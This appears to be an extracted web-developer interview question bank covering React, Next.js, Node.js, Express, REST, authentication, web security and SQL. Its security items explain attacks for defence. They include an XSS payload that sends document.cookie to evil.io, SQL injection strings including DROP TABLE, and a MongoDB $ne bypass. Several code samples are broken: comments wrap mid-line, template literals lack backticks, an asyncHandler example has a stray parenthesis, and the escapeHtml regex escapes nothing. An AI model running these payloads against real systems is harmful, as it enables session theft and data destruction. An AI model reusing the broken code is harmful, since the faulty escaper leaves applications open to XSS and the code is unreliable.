A custom hook is a function whose name starts with `use` and that calls other hooks. It lets you `reuse stateful logic` (not state itself) between components: each component calling it gets its own independent state.

Good candidates: fetching, debouncing, media queries, local storage, form fields, subscriptions. Custom hooks replaced most HOCs and render props because they compose without wrapper components.

#### Example

```
function useDebounce<T>(value: T, delay = 300): T {
  const [debounced, setDebounced] = useState(value)
  useEffect(() => {
    const id = setTimeout(() => setDebounced(value), delay)
    return () => clearTimeout(id)
  }, [value, delay])
  return debounced
}

// usage
const debouncedQuery = useDebounce(query, 500)
```

? Likely follow-up: How would you test a custom hook?

44

What is Context, and what is its performance cost?

React Medium 🔥 #context #state #performance

**Context** passes a value deep into the tree without threading props through every level. You create it with `createContext`, provide it near the top and read it with `useContext` (or `use`).

Good for values that change rarely: theme, current user, locale, feature flags.

The cost: when the provider's `value` changes, every consumer re-renders, even if it only uses one field. Passing a new object literal each render makes this happen on every parent render.

- Memoise the value with `useMemo`
- Split contexts (state and dispatch, or by concern)
- For fast-changing global state, use a store with selectors

#### Example

```
const ThemeContext = createContext<'light' | 'dark'>('light')

function App() {
  const [theme, setTheme] = useState<'light' | 'dark'>('light')
  return (
    <ThemeContext value={theme}>           {/* React 19: no .Provider needed */}
    <Page />
    </ThemeContext>
  )
}

function Button() {
  const theme = useContext(ThemeContext)
  return <button className={theme}>OK</button>
}
```

45

## What causes a component to re-render, and how do you optimise it?

React Medium 🔥 #performance #rendering

A component re-renders when:

- its **state** changes
- its **parent** re-renders (props changing or not, unless it is memoised)
- a **context** it reads changes
- a store hook it uses returns a new value

Re-rendering is not the same as DOM updates: React still diffs and may change nothing. Optimise only when you measure a real problem with the React DevTools Profiler.

Fixes:

- move state down closer to where it is used

- pass expensive children as `children` so they are not re-created
- `React.memo` plus stable props
- virtualise long lists (TanStack Virtual)
- `useTransition` / `useDeferredValue` for heavy updates

? Likely follow-up: Does a child re-render if its props did not change?

46

## What is Next.js and why use it instead of plain React?

Next.js Easy 🔥🔥 #basics

Next.js is a **React framework**. React gives you components; Next.js adds everything around them that a production app needs:

- file-based **routing** with nested layouts
- **server rendering** (SSR, static generation, streaming) for fast first loads and SEO
- **Server Components** and **Server Actions**, so data access and mutations live next to the UI
- API endpoints (**route handlers**) in the same project
- built-in image, font and script optimisation, code splitting and caching
- zero-config bundling (Turbopack) and easy deployment

The short answer: **better performance and SEO with less setup** than a client-only React app built with Vite.

? Likely follow-up: When would a plain Vite SPA be the better choice?

47

## Explain SSR vs SSG vs ISR vs CSR.

Next.js Easy 🔥🔥 #rendering #ssr

- **CSR** (client-side rendering): the server sends an almost empty page and JavaScript builds it in the browser. Slow first paint, weak SEO, fine for dashboards behind login.
- **SSG** (static site generation): HTML is built **once at build time** and served from a CDN. Fastest, but data is only as fresh as the last build.
- **ISR** (incremental static regeneration): static pages that are **regenerated in the background** after a time (`revalidate: 60`) or on demand, so you get static speed with fresh-ish data.

- **SSR** (server-side rendering): HTML is generated **on every request**. Always fresh and personalised, but costs server time per request.

In the App Router you do not pick a function per page: a route is static by default and becomes dynamic when it uses request data (`cookies()`, `headers()`, `searchParams`) or uncached fetches.

? **Likely follow-up:** Which would you use for a blog, a product page and a user dashboard?

48

## Server Components vs Client Components: what does `'use client'` do?

Next.js

Medium



#server components #app router

In the App Router, every component is a **Server Component** by default. It runs on the server, can be `async`, can read databases and secrets directly, and ships no JavaScript to the browser.

`'use client'` at the top of a file marks a **boundary**: that file and everything it imports become Client Components. They are still pre-rendered to HTML on the server, then hydrated so they can use state, effects, event handlers and browser APIs.

- Keep `'use client'` as **low in the tree as possible** (the button, not the page)
- Server Components can render Client Components and pass them serialisable props
- To put server content inside a client component, pass it as `children`
- `'use client'` does not mean "client only", it means "also runs on the client"

### Example

```
// app/products/page.tsx (Server Component)
export default async function Page() {
  const products = await db.product.findMany() // runs on the server
  only
  return <ProductList products={products} />
}

// app/products/like-button.tsx
'use client'
export function LikeButton() {
  const [liked, setLiked] = useState(false)
  return <button onClick={() => setLiked(!liked)}>{liked ? 'Liked' :
'Like'}</button>
}
```

? Likely follow-up: Can a Client Component import a Server Component?

49

## How does routing work in the App Router? What are layouts?

Next.js

Easy



#routing #app router

Folders inside `app/` define URL segments, and special files define what each segment renders:

- `page.tsx`: the UI for that route (makes it publicly reachable)
- `layout.tsx`: shared UI that wraps child routes and **keeps its state across navigation**
- `template.tsx`: like a layout but remounts on every navigation
- `loading.tsx`, `error.tsx`, `not-found.tsx`: automatic Suspense and error boundaries

Layouts nest: the root layout (with `<html>` and `<body>`) wraps a section layout, which wraps the page.

Useful conventions: `(group)` folders organise routes without affecting the URL, `_private` folders are ignored, and `@slot` folders create parallel routes. `<Link>` gives client-side navigation with prefetching.

50

## How do dynamic routes and `generateStaticParams` work?

Next.js

Medium



#routing #ssg

A folder in square brackets is a **dynamic segment**: `app/blog/[slug]/page.tsx` matches `/blog/anything`. `[...slug]` is a catch-all and `[ [...slug]]` an optional catch-all.

The page receives `params`, which since Next.js 15 is **a Promise you must await**.

`generateStaticParams` returns the list of params to **pre-render at build time** (SSG).

Paths not in the list are rendered on demand on first request and then cached, unless you set `dynamicParams = false` to return 404 instead.

### Example

```
// app/blog/[slug]/page.tsx
export async function generateStaticParams() {
  const posts = await getPosts()
  return posts.map((p) => ({ slug: p.slug }))
}

export default async function Post({ params }: { params: Promise<{ slug: string }> }) {
  const { slug } = await params
  const post = await getPost(slug)
  if (!post) notFound()
  return <article><h1>{post.title}</h1></article>
}
```

51

## How do you fetch data in the App Router?

Next.js

Medium



#data fetching #server components

In **Server Components** you just `await` the data: `fetch`, an ORM query, or a file read. No `useEffect`, no API route in between, and secrets stay on the server.

- Run independent requests **in parallel** with `Promise.all` to avoid waterfalls
- Wrap slow parts in `<Suspense>` so the rest of the page streams first
- Deduplicate shared calls with React `cache()` (`fetch` with the same URL is deduped per request automatically)

On the client, use a library like **TanStack Query** or **SWR** for data that changes with user interaction, or pass a promise from a Server Component and read it with `use()`.

Fetch on the server by default, and go client-side only for highly interactive data.

### Example

```
export default async function Dashboard() {
  const [user, orders] = await Promise.all([getUser(), getOrders()]) //
  parallel
  return (
    <>
      <h1>Hi {user.name}</h1>
      <Suspense fallback=<p>Loading stats...</p>>
        <SlowStats userId={user.id} />
      </Suspense>
    </>
  )
}
```

? Likely follow-up: How do you avoid request waterfalls?

52

## How does caching and revalidation work in Next.js?

Next.js

Hard



#caching #data fetching

Since **Next.js 15**, caching is **opt-in**: `fetch` is not cached by default and GET route handlers are dynamic.

Ways to cache and refresh:

- **Time-based**: `fetch(url, { next: { revalidate: 3600 } })` or `export const revalidate = 3600` on a route
- **On-demand**: tag data (`next: { tags: ['posts'] }`) and call `revalidateTag('posts')` or `revalidatePath('/blog')` after a mutation
- **Cache Components** (Next.js 16): the `'use cache'` directive caches a function, component or page, with `cacheLife` and `cacheTag` controlling lifetime and invalidation

Static routes are also cached as HTML at build time, and the client keeps a **router cache** of visited segments. `router.refresh()` refetches the current route.

#### Example

```
// time-based
const res = await fetch('https://api.example.com/posts', {
  next: { revalidate: 60, tags: ['posts'] },
})

// Next.js 16 with cacheComponents enabled
async function getProducts() {
  'use cache'
  cacheLife('hours')
  cacheTag('products')
  return db.product.findMany()
}
```

? Likely follow-up: What changed about caching defaults between Next.js 14 and 15?

53

## What are Server Actions?

Next.js

Medium



#server actions #mutations

A **Server Action** is an async function marked with `'use server'` that runs on the server but can be called from the client, usually as a form's `action` or from an event handler. Next.js creates the POST endpoint for you.

They replace most "write" API routes: validate input, write to the database, then call `revalidatePath` / `revalidateTag` or `redirect`.

- Forms work **before JavaScript loads** (progressive enhancement)
- Pair with `useActionState` for errors and pending state, `useOptimistic` for instant UI
- Treat them as **public endpoints**: always check authentication and validate input (Zod), because anyone can call them

#### Example

```
// app/todos/actions.ts
'use server'
export async function addTodo(formData: FormData) {
  const session = await auth()
  if (!session) throw new Error('Unauthorized')
  const title = z.string().min(1).parse(formData.get('title'))
  await db.todo.create({ data: { title, userId: session.user.id } })
  revalidatePath('/todos')
}

// in a component
<form action={addTodo}><input name="title" /><button>Add</button></form>
```

? Likely follow-up: Server Action or route handler: how do you choose?

54

## What is Node.js, and how can it be single-threaded yet handle many requests?

Node.js Easy 🔥🔥 #runtime #libuv

Node.js is a **JavaScript runtime** built on Chrome's V8 engine, plus **libuv**, a C library that provides the event loop, async I/O and a small thread pool.

Your JavaScript runs on **one main thread**. When code starts I/O (a database query, a file read, an HTTP call), Node hands it to the operating system or the libuv thread pool and moves on. When the work finishes, its callback is queued and the event loop runs it.

So one thread can serve thousands of connections, because most of a web request is **waiting**, not computing.

- Great for: APIs, real-time apps, proxies, streaming
- Weak for: CPU-heavy work (image processing, big calculations), which blocks the thread for everyone

? Likely follow-up: Which operations use the libuv thread pool?

55

## Walk me through the phases of the Node.js event loop.

Node.js

Medium



#event loop

Each turn of the loop goes through phases, each with its own queue of callbacks:

- **timers:** expired `setTimeout` / `setInterval` callbacks
- **pending callbacks:** some deferred system I/O errors
- **poll:** wait for new I/O and run I/O callbacks (most of your code runs here)
- **check:** `setImmediate` callbacks
- **close callbacks:** e.g. `socket.on('close')`

Between every callback, Node drains the **microtask queues**: first `process.nextTick`, then promise callbacks.

The loop exits when there are no timers, pending I/O or handles left.

## Example

```
console.log('1 sync')
setTimeout(() => console.log('4 timers phase'), 0)
Promise.resolve().then(() => console.log('3 microtask'))
queueMicrotask(() => console.log('3b microtask'))
console.log('2 sync')
```

**Likely follow-up:** Why can a long synchronous loop delay a 0 ms timer by seconds?

56

`process.nextTick` vs `setImmediate` vs `setTimeout(fn, 0)`?

Node.js

Medium



#event loop #timers

- `process.nextTick(fn)`: runs **right after the current operation**, before promise callbacks and before the loop continues. Highest priority.
- `setImmediate(fn)`: runs in the **check** phase, right after the current poll phase.
- `setTimeout(fn, 0)`: runs in the **timers** phase, after at least 1 ms.

From the main module, the order of `setTimeout` vs `setImmediate` is not guaranteed. Inside an I/O callback, `setImmediate` always runs first.

Recursive `nextTick` calls can **starve the event loop**, because I/O never gets a turn. Prefer `setImmediate` or `queueMicrotask` unless you really need `nextTick`.

### Example

```
const fs = require('node:fs')

fs.readFile(__filename, () => {
  setTimeout(() => console.log('timeout'), 0)
  setImmediate(() => console.log('immediate'))
  process.nextTick(() => console.log('nextTick'))
  Promise.resolve().then(() => console.log('promise'))
})
// nextTick, promise, immediate, timeout
```

57

What is the difference between blocking and non-blocking code? How do you avoid blocking the event loop?

Node.js

Easy



#event loop #performance

**Blocking** code makes the single JavaScript thread wait until it finishes, so no other request, timer or callback can run. **Non-blocking** code starts the work and returns immediately, with the result delivered later via a callback or promise.

Common ways to block by accident:

- sync APIs like `fs.readFileSync` or `crypto.pbkdf2Sync` inside a request handler
- huge `JSON.parse` / `JSON.stringify` calls
- heavy loops, sorting large arrays, catastrophic regexes

Fixes: use async APIs, `move CPU work to worker threads`, or a separate service, split work into chunks, and stream large data instead of loading it all.

**Likely follow-up:** How would you detect event loop lag in production?

58

CommonJS vs ES modules in Node: what are the differences?

Node.js

Easy



#modules

**CommonJS** (`require` / `module.exports`) is Node's original system. Loading is **synchronous** and happens at runtime, so you can `require` conditionally.

**ES modules** (`import` / `export`) are the JavaScript standard. Imports are **static** and resolved before code runs, which enables tree-shaking, top-level `await` and live bindings.

Node picks the system by file: `.mjs` is ESM, `.cjs` is CommonJS, and `.js` follows `"type": "module"` in package.json.

- ESM has no `__dirname` or `require`; use `import.meta.dirname` / `import.meta.url`
- ESM can import CommonJS; recent Node versions can also `require()` synchronous ESM
- New projects should default to ESM

? Likely follow-up: What does Node cache when you require a module twice?

59

## What are streams, and why use them?

Node.js Medium 🔥🔥 #streams

A stream processes data **piece by piece** (chunks) instead of loading it all into memory. Four types:

- **Readable**: a source (`fs.createReadStream`, an HTTP request)
- **Writable**: a destination (a file, an HTTP response)
- **Duplex**: both (a TCP socket)
- **Transform**: modifies data passing through (gzip, encryption)

Streaming a 2 GB file uses a few KB of memory and the client starts receiving bytes immediately. Use `stream.pipeline` to connect them, because it **forwards errors and cleans up** all streams, which `.pipe()` does not.

### Example

```
const fs = require('node:fs')
const zlib = require('node:zlib')
const { pipeline } = require('node:stream/promises')

app.get('/logs', async (req, res) => {
  res.setHeader('Content-Encoding', 'gzip')
  await pipeline(
    fs.createReadStream('./big.log'),
    zlib.createGzip(),
    res,
  )
})
```

? Likely follow-up: What is backpressure?

60

## How do you handle errors in Node, including uncaught exceptions and unhandled rejections?

Node.js

Medium



#errors

Handle errors where you can recover:

- sync code and `await`: `try/catch`
- promises: `.catch()`
- callbacks: check the error-first argument `(err, data)`
- emitters and streams: an `'error'` listener

**Uncaught exceptions** and **unhandled rejections** (the default since Node 15) crash the process. Use `process.on('uncaughtException')` and `'unhandledRejection'` only to **log and exit**, never to keep running, because the app may be in a broken state. Let a process manager (PM2, Kubernetes) restart it.

Separate **operational errors** (network down, bad input: handle them) from **programmer errors** (bugs: crash and fix).

### Example

```
process.on('unhandledRejection', (reason) => {
  logger.error({ reason }, 'unhandled rejection')
  process.exit(1)
})
process.on('uncaughtException', (err) => {
  logger.fatal(err, 'uncaught exception')
  process.exit(1) // state is unknown: restart cleanly
})
```

? Likely follow-up: Why is it dangerous to keep the process alive after an uncaught exception?

## Worker threads vs cluster vs child\_process: when do you use each?

Node.js

Medium



#concurrency #scaling

- **worker\_threads**: extra JavaScript threads **in the same process**. They can share memory (`SharedArrayBuffer`) and pass messages. Use for **CPU-heavy work** (image resizing, parsing, hashing) without blocking the main thread.
- **cluster**: forks **several Node processes** that share one server port. Use to use all CPU cores for an HTTP server. Each worker has its own memory.
- **child\_process**: runs **another program** (`spawn`, `exec`, `fork`), e.g. ffmpeg or a Python script.

Today, many teams skip `cluster` and run one process per container, scaling with Kubernetes or PM2 instead.

### Example

```
const { Worker, isMainThread, parentPort, workerData } =
  require('node:worker_threads')

if (isMainThread) {
  const worker = new Worker(__filename, { workerData: 40 })
  worker.on('message', (r) => console.log('fib =', r))
} else {
  const fib = (n) => (n < 2 ? n : fib(n - 1) + fib(n - 2))
  parentPort.postMessage(fib(workerData)) // heavy work off the main
  thread
}
```

? Likely follow-up: What is the difference between `spawn` and `exec`?

## How does the middleware chain and `next()` work in Express?

Express &amp; REST APIs

Easy



#middleware

Express keeps an ordered list of middleware and routes. For each request it runs the matching functions **in the order they were registered**. Each one receives `(req, res, next)` and must either:

- **end the response** (`res.send`, `res.json`), or
- call `next()` to pass control to the next function

`next('route')` skips to the next matching route, and `next(err)` skips straight to error-handling middleware.

If a middleware does neither, the request **hangs** until the client times out. Order matters: `express.json()` must come before routes that read `req.body`, and auth before protected routes.

#### Example

```
const app = express()

app.use(express.json()) // 1. parse body for every
request
app.use((req, res, next) => { // 2. log
  console.log(req.method, req.path)
  next()
})
app.use('/admin', requireAdmin) // 3. only for /admin/*

app.get('/users/:id', getUser) // 4. route handler ends the
response
```

🔗 Likely follow-up: What happens if you call `next()` after sending a response?

63

## How does error-handling middleware work in Express?

Express & REST APIs

Medium



#errors #middleware

Error middleware is a function with **four arguments**: `(err, req, res, next)`. Express recognises it by the argument count, so you must declare all four even if you do not use `next`.

It runs when a handler throws synchronously or calls `next(err)`. Register it **after all routes**, so it catches errors from everything above.

A good central handler:

- maps known errors to status codes (validation → 400, not found → 404)
- logs unexpected errors with the request ID
- hides stack traces and internals from clients in production

#### Example

```
class AppError extends Error {
  constructor(status, message) { super(message); this.status = status }
}

app.get('/users/:id', async (req, res) => {
  const user = await db.users.find(req.params.id)
  if (!user) throw new AppError(404, 'User not found')
  res.json(user)
})

app.use((err, req, res, next) => {
  const status = err.status ?? 500
  if (status === 500) logger.error(err)
  res.status(status).json({ error: status === 500 ? 'Internal error' :
err.message })
})
```

64

## How do you handle errors in async route handlers?

Express & REST APIs

Medium



#errors #async

In **Express 4**, a rejected promise inside an `async` handler is not caught: the error middleware never runs, the request hangs and you get an unhandled rejection. Fixes:

- wrap every handler in `try/catch` and call `next(err)`
- use a small `asyncHandler` wrapper (below) or the `express-async-errors` package

In **Express 5**, rejected promises are forwarded to `next(err)` automatically, so a plain `throw` inside an async handler works.

Either way, keep one central error middleware instead of sending error responses from every route.

### Example

```
// Express 4 helper
const asyncHandler = (fn) => (req, res, next) =>
  Promise.resolve(fn(req, res, next)).catch(next)

app.get('/orders', asyncHandler(async (req, res) => {
  const orders = await Order.find({ userId: req.user.id })
  res.json(orders)
})))
```

65

What is the difference between `req.params`, `req.query` and `req.body`?

Express & REST APIs

Easy



#routing #request

- `req.params`: named parts of the **path**. For route `/users/:id` and URL `/users/42`, `req.params.id` is `'42'`. Use them to **identify a resource**.
- `req.query`: the **query string**. `/users?role=admin&page=2` gives `{ role: 'admin', page: '2' }`. Use for filtering, sorting, pagination.
- `req.body`: the **request payload** of POST/PUT/PATCH. Empty unless a body parser like `express.json()` runs first.

All values from params and query are **strings** (or arrays), so convert and validate them before use.

### Example

```
app.use(express.json())

// PATCH /users/42?notify=true body: { "name": "Asha" }
app.patch('/users/:id', (req, res) => {
  const id = Number(req.params.id) // 42
  const notify = req.query.notify === 'true'
  const { name } = req.body // 'Asha'
  res.json({ id, notify, name })
})
```

## What is REST? What makes an API RESTful?

Express &amp; REST APIs

Easy



#rest #api design

REST (Representational State Transfer) is an **architectural style** for APIs over HTTP. Key ideas:

- **resources** identified by URLs, named with nouns: `/users/42/orders`, not `/getOrders`
- **HTTP methods** express the action: GET reads, POST creates, PUT/PATCH update, DELETE removes
- **stateless**: each request carries everything needed (e.g. a token); the server keeps no session between requests
- **representations**: clients get JSON (or other formats) describing the resource
- correct **status codes** and **cacheable** responses
- a **uniform interface** (HATEOAS in the strict definition)

In practice most "REST" APIs are **resource-oriented JSON over HTTP** and skip HATEOAS.

**Likely follow-up:** How would you design the URLs for users, their orders, and order items?

## Explain the main HTTP methods. Which are safe and which are idempotent?

Express &amp; REST APIs

Easy



#http #rest

- **GET**: read. Safe and idempotent.
- **POST**: create or trigger an action. Neither safe nor idempotent: two calls can create two orders.
- **PUT**: replace a resource. Idempotent.
- **PATCH**: partial update. Not guaranteed idempotent (e.g. "increment by 1").
- **DELETE**: remove. Idempotent: deleting twice leaves the same state (the second call may return 404).
- **HEAD/OPTIONS**: metadata and CORS preflight. Safe.

**Safe** = does not change state. **Idempotent** = **repeating the request has the same effect as doing it once**. This matters for retries: clients and proxies can retry idempotent requests safely. For POST, use an **Idempotency-Key** header so retries do not double-charge.

🔗 Likely follow-up: How would you implement an Idempotency-Key for payments?

68

## Which HTTP status codes should an API use, and when?

Express & REST APIs

Easy



#http #rest

- **200 OK** success with a body; **201 Created** after POST (add a **Location** header); **204 No Content** success with no body (DELETE)
- **301/308** permanent redirect; **304 Not Modified** for cache validation
- **400 Bad Request** malformed or invalid input; **422** is sometimes used for validation errors
- **401 Unauthorized** **not authenticated** (missing or bad token); **403 Forbidden** authenticated but not allowed
- **404 Not Found**; **409 Conflict** (duplicate email, version conflict); **429 Too Many Requests**
- **500** unexpected server error; **502/503/504** upstream or availability problems

Never return 200 with `{ error: ... }` in the body: clients, monitoring and caches rely on the code.

69

## How do you paginate an API? Offset vs cursor pagination?

Express & REST APIs

Medium



#pagination #api design

**Offset pagination:** `?page=3&limit=20` → `LIMIT 20 OFFSET 40`.

- simple, supports "jump to page 7" and total counts
- gets **slow** on deep pages (the DB still scans skipped rows) and items can be **skipped or duplicated** when rows are inserted or deleted between requests

**Cursor (keyset) pagination:** `?after=<cursor>&limit=20`, where the cursor encodes the last item's sort key → `WHERE (created_at, id) < (...) ORDER BY created_at DESC, id DESC LIMIT 20`.

- **fast at any depth** using an index, and stable while data changes
- no random page jumps

Use offset for small admin tables, cursor for feeds, infinite scroll and large datasets.

Always cap `limit`.

### Example

```
const rows = Array.from({ length: 7 }, (_, i) => ({ id: i + 1 }))
const encode = (id) => 'cur_' + id // real APIs: base64 of
the sort key
const decode = (c) => Number(c.slice(4))

function list(after, limit = 3) {
  const start = after ? rows.findIndex((r) => r.id === decode(after)) + 1
  : 0
  const items = rows.slice(start, start + limit)
  const last = items.at(-1)
  return { items: items.map((r) => r.id), next: items.length === limit ?
  encode(last.id) : null }
}
const p1 = list()
const p2 = list(p1.next)
console.log(p1.items, p2.items, list(p2.next).items)
```

70

## What is CORS, and how do you configure it in Express?

Express & REST APIs

Medium



#cors #security

By default, the browser's **same-origin policy** stops JavaScript on `https://app.com` from reading responses from `https://api.com`. **CORS** lets the server opt in, using response headers like `Access-Control-Allow-Origin`.

For "non-simple" requests (JSON body, custom headers, PUT/DELETE), the browser first sends an `OPTIONS` **preflight** request to ask permission.

In Express, use the `cors` package with an explicit allowlist. With cookies you need `credentials: true` and you **cannot use the \* wildcard** origin.

CORS is enforced by browsers only; it does not stop curl or server-to-server calls, so it is not access control.

#### Example

```
const cors = require('cors')

app.use(cors({
  origin: ['https://app.example.com', 'https://admin.example.com'],
  credentials: true, // allow cookies
  methods: ['GET', 'POST', 'PATCH', 'DELETE'],
  maxAge: 600, // cache preflight for 10 minutes
}))
```

? Likely follow-up: Why do you see a CORS error in the browser but the request works in Postman?

71

### What is the difference between authentication and authorisation?

Auth & Web Security Easy 🔥🔥 #auth #basics

**Authentication** (authn) answers **who are you?** It verifies identity: password, passkey, OTP, SSO login.

**Authorisation** (authz) answers **what are you allowed to do?** It checks permissions for an already-identified user: can this user delete this project?

Authentication comes first; authorisation runs on **every** protected request.

In HTTP terms: failed authentication → **401 Unauthorized** (despite the name);  
authenticated but not permitted → **403 Forbidden**.

A common bug is checking authentication only: any logged-in user can read `/invoices/123` even when it belongs to someone else (broken object-level authorisation).

? Likely follow-up: Where in your code would you enforce "users can only edit their own posts"?

72

### Session cookies vs JWTs: how do they work and which would you choose?

Auth & Web Security Medium 🔥🔥 #sessions #jwt

**Server sessions:** after login the server stores session data (in Redis or a DB) and sends a random **session ID** in a cookie. Each request looks the session up.

- easy, instant logout and revocation
- needs a shared session store across instances

**JWT:** the server signs a token containing the claims (user ID, roles, expiry). The server verifies the signature without a lookup.

- stateless, good across services and for mobile or third-party APIs
- **hard to revoke before it expires**, so keep it short-lived and add refresh tokens

For a classic web app on one domain, a session in an HttpOnly cookie is usually simpler and safer. JWTs shine for distributed systems and APIs consumed by many clients.

 **Likely follow-up:** How would you log a user out everywhere with JWTs?

73

## What is inside a JWT, and how is it verified?

Auth & Web Security

Medium

🔥🔥 #jwt

A JWT is three Base64URL parts joined by dots: `header.payload.signature`.

- **header:** algorithm and type, e.g. `{"alg": "HS256", "typ": "JWT"}`
- **payload: claims** such as `sub` (user ID), `exp` (expiry), `iat`, `iss`, `aud`, roles
- **signature:** HMAC (shared secret) or RSA/ECDSA (private key) over the header and payload

The payload is **encoded, not encrypted**: anyone can read it, so never put secrets in it.

Verification: recompute or check the signature, then validate `exp`, `iss` and `aud`. Pin the accepted algorithm in the server config, so `alg: "none"` or algorithm-confusion tricks are rejected.

#### Example

```
const b64url = (obj) => JSON.stringify(obj) // real JWTs base64url-encode this
const header = { alg: 'HS256', typ: 'JWT' }
const payload = { sub: 'user_42', role: 'admin', exp: Math.floor(Date.now() / 1000) + 900 }
const token = [b64url(header), b64url(payload), '<signature>'].join('.')

const [, body] = token.split('.')
const claims = JSON.parse(body)
console.log('anyone can read:', claims.sub, claims.role)
console.log('expired?', claims.exp < Date.now() / 1000)
```

74

### Where should you store a JWT in the browser: localStorage or a cookie?

Auth & Web Security

Medium



#jwt #cookies #xss

**localStorage:** easy to send in an **Authorization** header, and immune to CSRF. But **any XSS can read it** and send it to an attacker, who can then use it from anywhere until it expires.

**HttpOnly cookie:** JavaScript cannot read it, so XSS cannot steal the token (it can still make requests while the page is open). Cookies are sent automatically, so you must handle **CSRF** with **SameSite** and/or CSRF tokens.

The usual recommendation: keep tokens in **HttpOnly; Secure; SameSite=Lax** (or **Strict**) cookies. A common SPA pattern is a short-lived access token **in memory** plus a refresh token in an HttpOnly cookie.

75

### How should passwords be stored?

Auth & Web Security

Easy



#passwords #hashing

Never store plain text or use **encryption** (reversible) or a **fast hash** like MD5 or SHA-256: GPUs try billions of guesses per second.

Use a slow, purpose-built **password hashing** function: **Argon2id** (current first choice), **bcrypt** or **scrypt**. They have a tunable **work factor** so each guess is expensive.

A **salt** (random, unique per user, stored with the hash) means identical passwords get different hashes and **defeats precomputed rainbow tables**. bcrypt and Argon2 generate and embed the salt for you.

Optionally add a **pepper**: a secret kept outside the database (in a secrets manager) and mixed into the hash.

#### Example

```
const argon2 = require('argon2')

// sign-up
const hash = await argon2.hash(password) // salt + params embedded in
the string
await db.users.insert({ email, passwordHash: hash })

// login
const ok = await argon2.verify(user.passwordHash, password)
if (!ok) return res.status(401).json({ error: 'Invalid email or password'
})
```

? Likely follow-up: Why return the same error for "unknown email" and "wrong password"?

76

## What is XSS, and how do you prevent it?

Auth & Web Security

Medium



#xss #owasp

**Cross-site scripting:** an attacker gets their JavaScript to run in **your site's pages**, in other users' browsers. It can then read data, make requests as the victim, or steal non-HttpOnly tokens.

- **stored:** script saved in the DB (a comment) and shown to others
- **reflected:** script in a URL parameter echoed into the page
- **DOM-based:** client JS writes untrusted data into the DOM

Prevention:

- **escape output for its context** (HTML, attribute, URL, JS); React and template engines escape by default
- avoid `innerHTML`, `dangerouslySetInnerHTML`, `eval`; sanitise any allowed HTML with DOMPurify
- add a strict **Content Security Policy**
- HttpOnly cookies limit the damage

#### Example

```
const escapeHtml = (s) => s.replace(/&<>"'/g, (c) =>
  ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;'
  })[c])

const comment = '<img src=x onerror="fetch(\'//evil.io?
c=\'+document.cookie)">'
console.log('unsafe:', '<p>${comment}</p>')
console.log('safe: ', '<p>${escapeHtml(comment)}</p>')
```

? Likely follow-up: Why is a `javascript:` URL in an `href` still dangerous in React?

77

## What is CSRF, and how do you prevent it?

Auth & Web Security

Medium



#csrf #cookies #owasp

**Cross-site request forgery:** a malicious site makes the victim's browser send a request to your site, and the browser **attaches the victim's cookies automatically**. If you rely only on cookies, the forged request is authenticated (e.g. a hidden form that POSTs to `/transfer`).

Defences:

- **SameSite cookies:** `Lax` (default in modern browsers) blocks cookies on cross-site POSTs; `Strict` blocks all cross-site sends
- **CSRF tokens:** a random token in the form or a header that the attacker's page **cannot read or guess**
- check the `Origin` / `Sec-Fetch-Site` headers
- never change state with GET

APIs that use `Authorization: Bearer` headers (not cookies) are not vulnerable, because browsers do not add that header automatically.

? Likely follow-up: What is the difference between XSS and CSRF?

## What is SQL injection (and NoSQL injection), and how do you prevent it?

Auth &amp; Web Security

Easy



#injection #owasp

Injection happens when user input is **concatenated into a query**, so the input changes the query's structure. `' OR '1'='1` can bypass a login, and `'; DROP TABLE users;--` can destroy data.

The fix is **parameterised queries** (prepared statements): the query and the values travel separately, so input is always treated as data. ORMs and query builders do this by default; be careful with their "raw" helpers.

**NoSQL injection:** in MongoDB, a JSON body like `{ "password": { "$ne": null } }` turns a value into an operator. Validate that fields are the expected **type** (string, not object) and strip keys starting with `$`.

Also: least-privilege DB users and validated input.

### Example

```
// Vulnerable: input becomes part of the SQL
db.query('SELECT * FROM users WHERE email = '${req.body.email}')
```

```
// Safe: placeholder + separate values
db.query('SELECT * FROM users WHERE email = $1', [req.body.email])
```

```
// MongoDB: reject operator objects
if (typeof req.body.email !== 'string') return res.sendStatus(400)
```

## Explain the cookie flags `HttpOnly`, `Secure` and `SameSite`.

Auth &amp; Web Security

Easy



#cookies

- `HttpOnly`: JavaScript (`document.cookie`) cannot read the cookie, so **XSS cannot steal it**
- `Secure`: only sent over HTTPS, never in plain HTTP
- `SameSite=Strict`: never sent on cross-site requests (even clicking a link from another site)
- `SameSite=Lax`: sent on top-level navigation (GET links) but not on cross-site POSTs or iframes/fetch; the browser default
- `SameSite=None`: always sent, requires `Secure`; needed for third-party embeds

Also useful: `Max-Age` / `Expires`, a narrow `Path`, no `Domain` (host-only), and the `__Host-` name prefix, which forces `Secure`, `Path=/` and no `Domain`.

A session cookie should normally have all of: `HttpOnly; Secure; SameSite=Lax`.

#### Example

```
res.cookie('__Host-sid', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 1000 * 60 * 60 * 24 * 7, // 7 days
})
```

80

In what order does SQL logically execute a `SELECT` query?

SQL Easy 🔥🔥 #basics #select

You write `SELECT ... FROM ... WHERE ...`, but the database logically evaluates it in this order:

- `FROM` and `JOIN`: build the working set of rows
- `WHERE`: filter individual rows
- `GROUP BY`: collapse rows into groups
- `HAVING`: filter groups
- `SELECT`: compute columns and aliases
- `DISTINCT`, then `ORDER BY`, then `LIMIT` / `OFFSET`

This explains common errors: a `SELECT` alias does not exist yet in `WHERE`, so you cannot filter on it there, but you can use it in `ORDER BY`. The optimiser may physically run things differently, but the result must match this logical order.

### Example

```
DROP TABLE IF EXISTS emp;
DROP TABLE IF EXISTS dept;
CREATE TABLE dept (id INTEGER PRIMARY KEY, name TEXT NOT NULL);
CREATE TABLE emp (
  id INTEGER PRIMARY KEY,
  name TEXT NOT NULL,
  salary INTEGER NOT NULL,
  dept_id INTEGER REFERENCES dept(id),
  manager_id INTEGER REFERENCES emp(id)
);
INSERT INTO dept VALUES (1, 'Engineering'), (2, 'Sales'), (3, 'HR');
INSERT INTO emp VALUES
  (1, 'Asha', 150000, 1, NULL),
  (2, 'Ben', 120000, 1, 1),
  (3, 'Chen', 120000, 1, 1),
  (4, 'Dina', 90000, 2, 1),
  (5, 'Eva', 70000, 2, 4),
  (6, 'Farah', 65000, NULL, 4);

-- the alias works in ORDER BY (runs after SELECT) but not in WHERE
SELECT name, salary * 12 AS yearly
FROM emp
WHERE salary * 12 > 1000000
ORDER BY yearly DESC;
```

